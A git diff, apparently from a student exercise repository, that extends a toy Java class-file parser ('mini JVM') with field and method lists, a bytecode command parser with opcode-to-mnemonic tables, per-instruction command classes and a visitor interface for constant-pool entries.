+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -3,28 +3,51 @@
 
 import com.coding.mini_jvm.src.com.coderising.jvm.constant.ClassInfo;
 import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+import com.coding.mini_jvm.src.com.coderising.jvm.field.Field;
+import com.coding.mini_jvm.src.com.coderising.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
 
 public class ClassFile {
-	
+
+	private static final String MAIN_METHOD_NAME = "main";
 	private int minorVersion;
 	private int majorVersion;
-	
+
 	private AccessFlag   accessFlag;
 	private ClassIndex   clzIndex;
 	private ConstantPool pool;
-	
-	
+	private List<Field>  fields  = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+
 	public ClassIndex getClzIndex() {
 		return clzIndex;
 	}
+
 	public AccessFlag getAccessFlag() {
 		return accessFlag;
 	}
+
 	public void setAccessFlag(AccessFlag accessFlag) {
 		this.accessFlag = accessFlag;
 	}
-	
-	
+
+	public void addField(Field f) {
+		this.fields.add(f);
+	}
+
+	public List<Field> getFields() {
+		return this.fields;
+	}
+
+	public void addMethod(Method m) {
+		this.methods.add(m);
+	}
+
+	public List<Method> getMethods() {
+		return methods;
+	}
 	
 	public ConstantPool getConstantPool() {		
 		return pool;
@@ -49,28 +72,41 @@ public void setClassIndex(ClassIndex clzIndex) {
 		this.clzIndex = clzIndex;		
 	}
 	
-	
-	
-	
 	public void print(){
-		
 		if(this.accessFlag.isPublicClass()){
 			System.out.println("Access flag : public  ");
 		}
 		System.out.println("Class Name:"+ getClassName());
-		
 		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
 	}
 	
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+
+	public Method getMethod(String methodName, String paramAndReturnType){
+		for (Method method : methods) {
+			String name = method.getClzFile().getConstantPool().getUTF8String(method.getNameIndex());
+			if (methodName.equals(name)) {
+				return method;
+			}
+		}
+
+		return null;
+	}
+	public Method getMainMethod(){
+		for (Method method : methods) {
+			String name = method.getClzFile().getConstantPool().getUTF8String(method.getNameIndex());
+			if (MAIN_METHOD_NAME.equals(name)) {
+				return method;
+			}
+		}
+		return null;
+	}
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..eb7dafa79d
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,21 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..b44d66c880
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,127 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantInfo;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public abstract class ByteCodeCommand {
+
+	String    opCode;
+	ClassFile clzFile;
+	private int offset;
+
+	private static Map<String, String> codeMap = new HashMap<String, String>();
+
+	static {
+		codeMap.put("01", "aconst_null");
+
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..dd01d38872
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,150 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+
+import java.util.ArrayList;
+import java.util.List;
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		CommandIterator cmdIter = new CommandIterator(codes);
+		List<ByteCodeCommand> cmds = new ArrayList<>();
+		//2ab7000c2a2bb5000f2a1cb50011b1
+		while (cmdIter.hasNext()) {
+			String operCode = cmdIter.next2CharAsString().toUpperCase();
+			switch (operCode) {
+				case bipush:
+					BiPushCmd cmd = new BiPushCmd(clzFile, operCode);
+					cmd.setOperand(cmdIter.next2CharAsInt());
+					cmds.add(cmd);
+					break;
+				case getfield:
+					GetFieldCmd getFieldCmd = new GetFieldCmd(clzFile, operCode);
+					getFieldCmd.setOprand1(cmdIter.next2CharAsInt());
+					getFieldCmd.setOprand2(cmdIter.next2CharAsInt());
+					cmds.add(getFieldCmd);
+					break;
+				case getstatic:
+					GetStaticFieldCmd getStaticFieldCmd = new GetStaticFieldCmd(clzFile, operCode);
+					getStaticFieldCmd.setOprand1(cmdIter.next2CharAsInt());
+					getStaticFieldCmd.setOprand2(cmdIter.next2CharAsInt());
+					cmds.add(getStaticFieldCmd);
+					break;
+				case invokespecial:
+					InvokeSpecialCmd invokeSpecialCmd = new InvokeSpecialCmd(clzFile, operCode);
+					invokeSpecialCmd.setOprand1(cmdIter.next2CharAsInt());
+					invokeSpecialCmd.setOprand2(cmdIter.next2CharAsInt());
+					cmds.add(invokeSpecialCmd);
+					break;
+				case invokevirtual:
+					InvokeVirtualCmd invokeVirtualCmd = new InvokeVirtualCmd(clzFile, operCode);
+					invokeVirtualCmd.setOprand1(cmdIter.next2CharAsInt());
+					invokeVirtualCmd.setOprand2(cmdIter.next2CharAsInt());
+					cmds.add(invokeVirtualCmd);
+					break;
+				case ldc:
+					LdcCmd ldcCmd = new LdcCmd(clzFile, operCode);
+					ldcCmd.setOperand(cmdIter.next2CharAsInt());
+					cmds.add(ldcCmd);
+					break;
+				case new_object:
+					NewObjectCmd newObjectCmd = new NewObjectCmd(clzFile, operCode);
+					newObjectCmd.setOprand1(cmdIter.next2CharAsInt());
+					newObjectCmd.setOprand2(cmdIter.next2CharAsInt());
+					cmds.add(newObjectCmd);
+					break;
+				case putfield:
+					PutFieldCmd putFieldCmd = new PutFieldCmd(clzFile, operCode);
+					putFieldCmd.setOprand1(cmdIter.next2CharAsInt());
+					putFieldCmd.setOprand2(cmdIter.next2CharAsInt());
+					cmds.add(putFieldCmd);
+					break;
+				case astore_1:
+				case aload_0:
+				case aload_1:
+				case iload_1:
+				case iload_2:
+				case istore_1:
+				case voidreturn:
+				case dup:
+					NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, operCode);
+					cmds.add(noOperandCmd);
+					break;
+				default:
+					throw new RuntimeException("this oper [ " +operCode+ " ]not impl yet");
+			}
+		}
+		calcuateOffset(cmds);
+		return cmds.toArray(new ByteCodeCommand[cmds.size()]);
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..5801068cb0
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,21 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e577d1b56c
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,20 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..2900bb2c60
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,22 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..ff7f0fdf14
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..abaeae3a9e
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,30 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantInfo;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..db90b82a35
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..3cd045f6d3
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,24 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..696764c3e7
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..6f6ecd0eb1
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,20 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..78475ac911
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,63 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.*;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ClassInfo.java
index 227bb010a1..489e8c7c7c 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ClassInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -15,10 +15,15 @@ public void setUtf8Index(int utf8Index) {
 	public int getType() {
 		return type;
 	}
-	
+
 	public String getClassName() {		
 		int index = getUtf8Index();
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);
+	}
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
index e7c849ca59..7a9200f669 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -2,7 +2,6 @@
 
 public abstract class ConstantInfo {
 	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
 	public static final int CLASS_INFO = 7;
 	public static final int STRING_INFO = 8;
 	public static final int FIELD_INFO = 9;
@@ -25,5 +24,15 @@ public ConstantPool getConstantPool() {
 	public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
-	
+
+	public abstract void accept(Visitor visitor);
+
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+	}
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
index 1808a35c65..bca8e0b32b 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -11,7 +11,7 @@ public FieldRefInfo(ConstantPool pool) {
 	public int getType() {
 		return type;
 	}
-	
+
 	public int getClassInfoIndex() {
 		return classInfoIndex;
 	}
@@ -51,4 +51,11 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
+
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);
+	}
+
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
index dc62d438e6..4664a79cf4 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -14,7 +14,12 @@ public MethodRefInfo(ConstantPool pool) {
 	public int getType() {
 		return type;
 	}
-	
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);
+	}
+
 	public int getClassInfoIndex() {
 		return classInfoIndex;
 	}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
index b8b9da7353..f1c59a0d5e 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -25,8 +25,13 @@ public void setIndex2(int index2) {
 	public int getType() {
 		return type;
 	}
-	
-	
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+	}
+
+
 	public String getName(){
 		ConstantPool pool = this.getConstantPool();
 		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
index bf19f681d8..16ec6a1e2f 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -9,5 +9,9 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
-	
+
+	@Override
+	public void accept(Visitor visitor) {
+	}
+
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/StringInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/StringInfo.java
index 05a4afad6a..d18ac12305 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/StringInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -10,7 +10,12 @@ public StringInfo(ConstantPool pool) {
 	public int getType() {
 		return type;
 	}
-	
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+	}
+
 	public int getIndex() {
 		return index;
 	}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/UTF8Info.java
index 61f20ed8f1..81160db29e 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/UTF8Info.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -16,6 +16,12 @@ public void setLength(int length) {
 	public int getType() {
 		return type;
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+	}
+
 	@Override
 	public String toString() {
